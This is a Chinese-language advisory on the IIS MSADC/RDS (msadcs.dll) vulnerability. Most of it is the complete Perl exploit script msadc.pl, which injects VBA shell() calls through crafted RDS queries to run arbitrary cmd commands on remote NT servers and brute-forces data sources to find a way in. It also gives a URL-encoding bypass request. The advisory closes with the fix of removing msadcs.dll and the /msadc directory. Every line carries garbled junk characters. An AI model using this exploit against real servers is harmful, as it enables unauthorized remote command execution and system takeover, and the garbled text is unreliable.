IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`kSZX:=}; l;E(I_
i) 涉及程序：
w& .a QGR# Microsoft NT server
M
D#jj3y AQ^u 描述：
a$fnh3j[ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#4;wjcGWw q ZZK#,Qb 详细：
)Q JUUn# 如果你没有时间读详细内容的话，就删除:
(**oRw r% c:\Program Files\Common Files\System\Msadc\msadcs.dll
|k9
C/ 有关的安全问题就没有了。
m(P]k'ZH? -D: b*D 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
1{.9uw"2S X5w$4Kj&4l 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
J lJ a
# 关于利用ODBC远程漏洞的描述，请参看:
o5)<$P43 e+=K d+:k http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iN.n8MN=I $<O D31T 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
y>ktcuML http://www.microsoft.com/security/bulletins/MS99-025faq.asp eszG0W u 43 :X,\~) 这里不再论述。
1xx}~|F?| 1B \WA8 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
0tJ Z4( 0 _t yc gq# /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
BFt> 9x]T 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
o#N+Y?O @'|~v <<WZ 6wg^FD_Q #将下面这段保存为txt文件，然后: "perl -x 文件名"
f?)-}\[IR{ @E8+C8' #!perl
5Ynd c)Z #
UGatWj # MSADC/RDS 'usage' (aka exploit) script
$Y gue5{c #
A?0Nm{O;3v # by rain.forest.puppy
- !
S_ryL #
f)< 6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%]7d`/ # beta test and find errors!
CU~PT. Kf-JcBsrT use Socket; use Getopt::Std;
7x8
yxE getopts("e:vd:h:XR", \%args);
|&4/n6;P$0 Y|/ 8up print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
VS|2|n1<6 DIUjn;>k8 if (!defined $args{h} && !defined $args{R}) {
o,wUc"CE print qq~
7mfS *aCb Usage: msadc.pl -h <host> { -d <delay> -X -v }
'E.w=7z& -h <host> = host you want to scan (ip or domain)
@KUWxFak -d <seconds> = delay between calls, default 1 second
/<BI46B\ -X = dump Index Server path table, if available
*n"{J(Jt` -v = verbose
A_UjC` -e = external dictionary file for step 5
o<!?7g{ m) D|l1AtF Or a -R will resume a command session
|+"(L#wk ]{>,rK[So ~; exit;}
%xt^698&X V ^~:F $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Xlt|nX~#; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>KKMcTOYY if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
! 1b;F*H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
)WFr</z5bA $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*gz{.)W if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
BD7N i^qI$ Dum9lj if (!defined $args{R}){ $ret = &has_msadc;
>`D:-huNeE die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7IM@i>p% yaV|AB$v print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{(?4!rh . "cmd /c ";
p mYHUj
# $in=<STDIN>; chomp $in;
SZCze"`[ $command="cmd /c " . $in ;
II=79$n`G PTV:IzoW if (defined $args{R}) {&load; exit;}
f|oh.z_R f`66h M[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
9(<@O%YU &try_btcustmr;
Yu`~U,m r:TH]hs12+ print "\nStep 2: Trying to make our own DSN...";
wwcBsJ 1{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^LzF@{ G _h1mF<\ X^ print "\nStep 3: Trying known DSNs...";
7 Fs ay+a &known_dsn;
@9|hMo kg\ >k2h print "\nStep 4: Trying known .mdbs...";
|! "eWTJ &known_mdb;
6D_D' ;o {BU; $ if (defined $args{e}){
P0jtp7 )7 print "\nStep 5: Trying dictionary of DSN names...";
Jj%K=sw &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
iDrZc
ht}wEvv print "Sorry Charley...maybe next time?\n";
Z ;)%%V %o exit;
/;
85i6 vs{s_T7Mz] ##############################################################################
n '6jou K!l5coM sub sendraw { # ripped and modded from whisker
)@bQu~Y sleep($delay); # it's a DoS on the server! At least on mine...
;i +#fQO7Q my ($pstr)=@_;
x'R`.
!g3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a C)!T die("Socket problems\n");
\xoP)Ub> if(connect(S,pack "SnA4x8",2,80,$target)){
&b& , select(S); $|=1;
R Vi uJ; print $pstr; my @in=<S>;
9=2$8JN=(l select(STDOUT); close(S);
X!g#T9kG return @in;
S ByW[JE } else { die("Can't connect...\n"); }}
[}] Q?*_ |LKXOU
c ##############################################################################
7H u3>4< 4H ]L~^CD sub make_header { # make the HTTP request
| P}y,pNQ my $msadc=<<EOT
u,4eCxYE$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
nzeX[* User-Agent: ACTIVEDATA
JqiP>4Uwm^ Host: $ip
} JAG 7L&{ Content-Length: $clen
8Uxne 2e Connection: Keep-Alive
q> C'BIr V3j= Kf ADCClientVersion:01.06
8)I^ t81 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(dSL7nel;L @f_+=}|dc --!ADM!ROX!YOUR!WORLD!
[ !OxZ! Content-Type: application/x-varg
|ZBI * Content-Length: $reqlen
#Mw8^FST #>+ HlT EOT
Y:a]00&)#Y ; $msadc=~s/\n/\r\n/g;
AYx{U? 0p return $msadc;}
)K pyvS wD5t ##############################################################################
HyWCMK6b h.t-`k 7 sub make_req { # make the RDS request
E< fV Z, my ($switch, $p1, $p2)=@_;
\)|hogI|f my $req=""; my $t1, $t2, $query, $dsn;
!C: $?o U M =r)I~ if ($switch==1){ # this is the btcustmr.mdb query
5XB H$&Td $query="Select * from Customers where City=" . make_shell();
J7p),[>I< $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
[cp+ i^f $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
J/*`7Pd gB'6`' elsif ($switch==2){ # this is general make table query
Q'0d~6n&{ $query="create table AZZ (B int, C varchar(10))";
6NHX2Ja $dsn="$p1";}
&.?'i 1! n.(FQx.F elsif ($switch==3){ # this is general exploit table query
@MCg%Afw $query="select * from AZZ where C=" . make_shell();
g}',(tPMZ $dsn="$p1";}
K(Bf2Mfq tZG:Pr1U@ elsif ($switch==4){ # attempt to hork file info from index server
z' >_Mc6 $query="select path from scope()";
n6a`;0f[R $dsn="Provider=MSIDXS;";}
kW&TJP+5* [IhYh<i elsif ($switch==5){ # bad query
Ek]'km! $query="select";
)+ 2hl $dsn="$p1";}
Jg| XH
L) em N*l]N $t1= make_unicode($query);
}9fTF:P $t2= make_unicode($dsn);
mL: s Jf $req = "\x02\x00\x03\x00";
!Q0w\j h $req.= "\x08\x00" . pack ("S1", length($t1));
oM`0y@QCf $req.= "\x00\x00" . $t1 ;
L/G6Fjg^ $req.= "\x08\x00" . pack ("S1", length($t2));
~IN>3\j $req.= "\x00\x00" . $t2 ;
c\ l kD-\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@ J`"[% U return $req;}
Q$@I"V&G. YcpoL@ab ##############################################################################
>I&5j/&}+ AkQ ~k0i}b sub make_shell { # this makes the shell() statement
hZ return "'|shell(\"$command\")|'";}
v^ V itLC :G%61x&=Zc ##############################################################################
$ gS>FJ }Kbb4]t|" sub make_unicode { # quick little function to convert to unicode
B ,epzI my ($in)=@_; my $out;
v
z '&%( for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;@|n @ ax return $out;}
81
sG v,>Dbx n ##############################################################################
@t_=Yl2; Z}Ft:7 sub rdo_success { # checks for RDO return success (this is kludge)
DN5 7p!z my (@in) = @_; my $base=content_start(@in);
o:Sa,
!DK if($in[$base]=~/multipart\/mixed/){
Z@PmM4F@S return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+!.^zp21 return 0;}
F@B]et 7 ?+}_1x` ##############################################################################
'AS|Z Rr/ xYpd: Sm sub make_dsn { # this makes a DSN for us
k_n ql8H my @drives=("c","d","e","f");
E#N|w q print "\nMaking DSN: ";
ZX./P0 foreach $drive (@drives) {
`&c kZiq print "$drive: ";
]|P iF+ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_^%,x "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
zue~ce73J . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
N64dO[op $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Cd}<a?m, return 0 if $2 eq "404"; # not found/doesn't exist
VQ9/Gxdeo if($2 eq "200") {
n[Y~] foreach $line (@results) {
5uj?#)N return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
);&:9[b_ } return 0;}
H%Q7D- ;u46Z ##############################################################################
l ?n\i]' JO6)-U$7UG sub verify_exists {
g&Vx:fOC my ($page)=@_;
pJ'"j 6Q my @results=sendraw("GET $page HTTP/1.0\n\n");
U>}w2bZ* return $results[0];}
,M
^<CJ @O^6&\s> ##############################################################################
:(* V?WI K: # I sub try_btcustmr {
jkF^-Up. my @drives=("c","d","e","f");
=R$u[~Xl2X my @dirs=("winnt","winnt35","winnt351","win","windows");
@>Km_A x VY=jc~c]v foreach $dir (@dirs) {
h^(* Tv-! print "$dir -> "; # fun status so you can see progress
+E(L \ foreach $drive (@drives) {
= x)-u8P print "$drive: "; # ditto
DAr1C+Dy
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
'$]97b7G $reqlenlen=length( "$reqlen" );
>$/>#e~ $clen= 206 + $reqlenlen + $reqlen;
O) n~](sC\ 9gK` E my @results=sendraw(make_header() . make_req(1,$drive,$dir));
M\Ye<Tk if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
HJ[c M6$2 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
uo%)1NS! rlSeu5X6 ##############################################################################
~
=2 PU$u x@;m8z0 sub odbc_error {
4yr'W8X_ my (@in)=@_; my $base;
yZ U6xY my $base = content_start(@in);
6H WE~`ok6 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
=ncVnW{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i#Bf"W{F $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`%9 uE( $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ShP^A"Do return $in[$base+4].$in[$base+5].$in[$base+6];}
u.m[u)HQ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
XnMvKPerv' print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Gk&)08 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6wjw ^m0 1FL~ndJs ##############################################################################
Lx SpctiNx !")tU +: sub verbose {
6 Vnsi%{ my ($in)=@_;
Nkth>7* return if !$verbose;
W/bQd)Jvk print STDOUT "\n$in\n";}
E e% %d Q6!zZ))~ ##############################################################################
sfugY (m z3m85F%dR sub save {
W UXx;9 > my ($p1, $p2, $p3, $p4)=@_;
o&)8o5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
k1 Y ? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
#:U%mHT(_ close OUT;}
` V)8
QRN( Em
!/a$ ##############################################################################
' ;FnIZ |tMWCA sub load {
E`usknf>l my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Hc$ O{]sq open(IN,"<rds.save") || die("Couldn't open rds.save\n");
a;qryUyG @p=<IN>; close(IN);
=M [bn q*\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+YKi, $target= inet_aton($ip) || die("inet_aton problems");
hP kWCoQpq print "Resuming to $ip ...";
A,Vu\3HS $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ub#a` if($p[1]==1) {
CMG&7(MR $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}Gm>`cw- $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
S8wLmd> my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
N&+x+;Kx if (rdo_success(@results)){print "Success!\n";}
$)ij N^hV else { print "failed\n"; verbose(odbc_error(@results));}}
U175{N%3 elsif ($p[1]==3){
c&?m>2^6 if(run_query("$p[3]")){
/ }fHt^2H print "Success!\n";} else { print "failed\n"; }}
8hz^% vm elsif ($p[1]==4){
G kl71VX if(run_query($drvst . "$p[3]")){
%i9E @EV print "Success!\n"; } else { print "failed\n"; }}
GxI!{oi2 exit;}
U} e!Wjrc PI:4m%[ ##############################################################################
17[3/m8a p6]1w]*R sub create_table {
RYQR(v my ($in)=@_;
t?-n*9,#S $reqlen=length( make_req(2,$in,"") ) - 28;
BB!THj69a6 $reqlenlen=length( "$reqlen" );
j<99FW"@e $clen= 206 + $reqlenlen + $reqlen;
fo#fg8zX% my @results=sendraw(make_header() . make_req(2,$in,""));
BxWPC#5
return 1 if rdo_success(@results);
HU8900k+ my $temp= odbc_error(@results); verbose($temp);
n,V[eW#m'L return 1 if $temp=~/Table 'AZZ' already exists/;
p{ Yv 3dNl return 0;}
F^ t DL: wc NOLUl ##############################################################################
HJLG=mU G )trG9 .a sub known_dsn {
gx8ouOh # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
k"T} 2 7 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$m%f wB "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
mAj?>;R2$2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
, j2Udn}
V6&!9b foreach $dSn (@dsns) {
Yz/md1T$ print ".";
jrlVvzZ next if (!is_access("DSN=$dSn"));
~ Ei $nV if(create_table("DSN=$dSn")){
RK'\C\gMDu print "$dSn successful\n";
GmeQ`;9, if(run_query("DSN=$dSn")){
hz;G$cuEE print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h-#6av : print "Something's borked. Use verbose next time\n";}}} print "\n";}
Ic"ybj` Pw7]r<Q ##############################################################################
u<6<iD3 y z0p*Z& sub is_access {
iwZPpl "; my ($in)=@_;
F3v !AvA| $reqlen=length( make_req(5,$in,"") ) - 28;
x=hiQ>BIO0 $reqlenlen=length( "$reqlen" );
pMx*F@&nU $clen= 206 + $reqlenlen + $reqlen;
I {S;L my @results=sendraw(make_header() . make_req(5,$in,""));
0[NZ>7wqMZ my $temp= odbc_error(@results);
M= .n7RY- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<CYd+! ( return 0;}
j^j1 \:# L) ##############################################################################
q PX ~@^`9 Sz)' ogl sub run_query {
0_95|3kc my ($in)=@_;
=)H.c uc $reqlen=length( make_req(3,$in,"") ) - 28;
w (*vj $reqlenlen=length( "$reqlen" );
'8RsN-w $clen= 206 + $reqlenlen + $reqlen;
(lBCO?`fx my @results=sendraw(make_header() . make_req(3,$in,""));
(>UZ<2GPL return 1 if rdo_success(@results);
2\A $6N ;_ my $temp= odbc_error(@results); verbose($temp);
UU YSFa % return 0;}
g|DF[ N=T< _`$5 ##############################################################################
U3ADsdn t9k zw*U9 sub known_mdb {
$k@O`xD,q my @drives=("c","d","e","f","g");
;v)JnbsH} my @dirs=("winnt","winnt35","winnt351","win","windows");
ld|5TN1 my $dir, $drive, $mdb;
G6q
}o)[m) my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fn jPSts0 F 5bj=mI # this is sparse, because I don't know of many
n71r_S* my @sysmdbs=( "\\catroot\\icatalog.mdb",
*KZYv=s,u "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
M)J5;^[" "\\system32\\certmdb.mdb",
vsCCB}7\ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
qOIyub 1y4|{ 7bb my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}W C[$Y_@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
&=@IzmA "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
\+oQd= K@ "\\cfusion\\cfapps\\security\\realm_.mdb",
$B 2J
T9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
o8V5w!+# "\\cfusion\\database\\cfexamples.mdb",
?(' wn< "\\cfusion\\database\\cfsnippets.mdb",
GfxZ'VIn "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
fa
jGZyd0: "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|B?m,U$A! "\\cfusion\\brighttiger\\database\\cleam.mdb",
X:f UI4 "\\cfusion\\database\\smpolicy.mdb",
h0*!;Z7 "\\cfusion\\database\cypress.mdb",
u:6Ic)7' "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
59LZv-l "\\website\\cgi-win\\dbsample.mdb",
)al]*[lY "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
VZp5)-!\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
! _] Y~[ ); #these are just
d\&U*= foreach $drive (@drives) {
/kZebNf6H foreach $dir (@dirs){
Dzpq_F!;V foreach $mdb (@sysmdbs) {
z\ \[S@>pt print ".";
gD-d29pQ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.9/ hHCp print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
R$h<<v)% if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7X`g,b! print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
m4[ ;(1 } else { print "Something's borked. Use verbose next time\n"; }}}}}
|{z:IQLv !P2ro~0/ foreach $drive (@drives) {
: Xda1S foreach $mdb (@mdbs) {
C mP9Q2 print ".";
gDQ^)1k if(create_table($drv . $drive . $dir . $mdb)){
G)AqbY print "\n" . $drive . $dir . $mdb . " successful\n";
MD}w Y><C if(run_query($drv . $drive . $dir . $mdb)){
f&N gS+<K$ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-V*R\,> } else { print "Something's borked. Use verbose next time\n"; }}}}
9@SC}AF. }
R~TTL / H[=5 ##############################################################################
Hc k]aKI+ G*?8MTP8![ sub hork_idx {
a(m2n.0'> print "\nAttempting to dump Index Server tables...\n";
70 yFaW print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
fF!Yp iI " $reqlen=length( make_req(4,"","") ) - 28;
h/QXPdV $reqlenlen=length( "$reqlen" );
!4ocZmj\ $clen= 206 + $reqlenlen + $reqlen;
KaLzg5is my @results=sendraw2(make_header() . make_req(4,"",""));
Z\(q@3 C if (rdo_success(@results)){
f$o_e90mu my $max=@results; my $c; my %d;
3<e=g)F for($c=19; $c<$max; $c++){
z{%< <pZ $results[$c]=~s/\x00//g;
:tc@2/>!O $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
I {SjlN}d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Eh)fnqs_d} $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
o@_q]/Mh $d{"$1$2"}="";}
\ ,'m</o~, foreach $c (keys %d){ print "$c\n"; }
: p1u(hflS } else {print "Index server doesn't seem to be installed.\n"; }}
7zl5yK N PF0_8,@U ##############################################################################
^Y?k0z #z' sub dsn_dict {
M :=J^0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:;v~%e{k while(<IN>){
Gf%~{@7=u $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
cRC6 s8 next if (!is_access("DSN=$dSn"));
+X\FBvP& if(create_table("DSN=$dSn")){
d UD[e, ? print "$dSn successful\n";
WSP I|#Xr% if(run_query("DSN=$dSn")){
"syI #U{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:^<3>zk print "Something's borked. Use verbose next time\n";}}}
Q8$}@iA[ print "\n"; close(IN);}
Ex.yU{|c XMCXQs& ##############################################################################
SjK !K#qe Y} sub sendraw2 { # ripped and modded from whisker
a) !o @ sleep($delay); # it's a DoS on the server! At least on mine...
p
. %]Q*8 my ($pstr)=@_;
#]-SJWf3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
lPe&h]@ > die("Socket problems\n");
JB\UKZXw if(connect(S,pack "SnA4x8",2,80,$target)){
p0]= QH print "Connected. Getting data";
mwO6g~@ ` open(OUT,">raw.out"); my @in;
^23~ZHu select(S); $|=1; print $pstr;
m%0p\Y-/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
mupT<_Y close(OUT); select(STDOUT); close(S); return @in;
A_rG t?i } else { die("Can't connect...\n"); }}
wC"FDr+ W
PC]%:L" ##############################################################################
,S \C C{! n5|fHk^s sub content_start { # this will take in the server headers
|o7[|3:M my (@in)=@_; my $c;
BqEI(c 6 for ($c=1;$c<500;$c++) {
D=TvYe if($in[$c] =~/^\x0d\x0a/){
l#& 8x if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
j<u pRS,$ else { return $c+1; }}}
v6|RJt? return -1;} # it should never get here actually
g%o(+d OU E (I3_ ##############################################################################
}ZYd4h|g\z 3s*mbk[J sub funky {
A]*}HZ , my (@in)=@_; my $error=odbc_error(@in);
fT|.@%"vc if($error=~/ADO could not find the specified provider/){
Od, =mO*.Q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
zE* li`@ exit;}
=&6eM2>P if($error=~/A Handler is required/){
JhYe6y[q print "\nServer has custom handler filters (they most likely are patched)\n";
Z<oa K exit;}
*9
{PEx if($error=~/specified Handler has denied Access/){
b\f
O8{k print "\nServer has custom handler filters (they most likely are patched)\n";
#x@$ lc=k3 exit;}}
eNh39er ^+ml5m ##############################################################################
t 6rRU~;} KA5v +~ sub has_msadc {
m 5n #v my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
qyb?49I my $base=content_start(@results);
=<C: d return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
XE RUo return 0;}
TT%M' 5& _IMW { ########################
YO`]UQ|dc Brw@g8w-X t}a: p6D] 解决方案：
uuEV_ "X 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
6dQ-HI*Y# 2、移除web 目录: /msadc
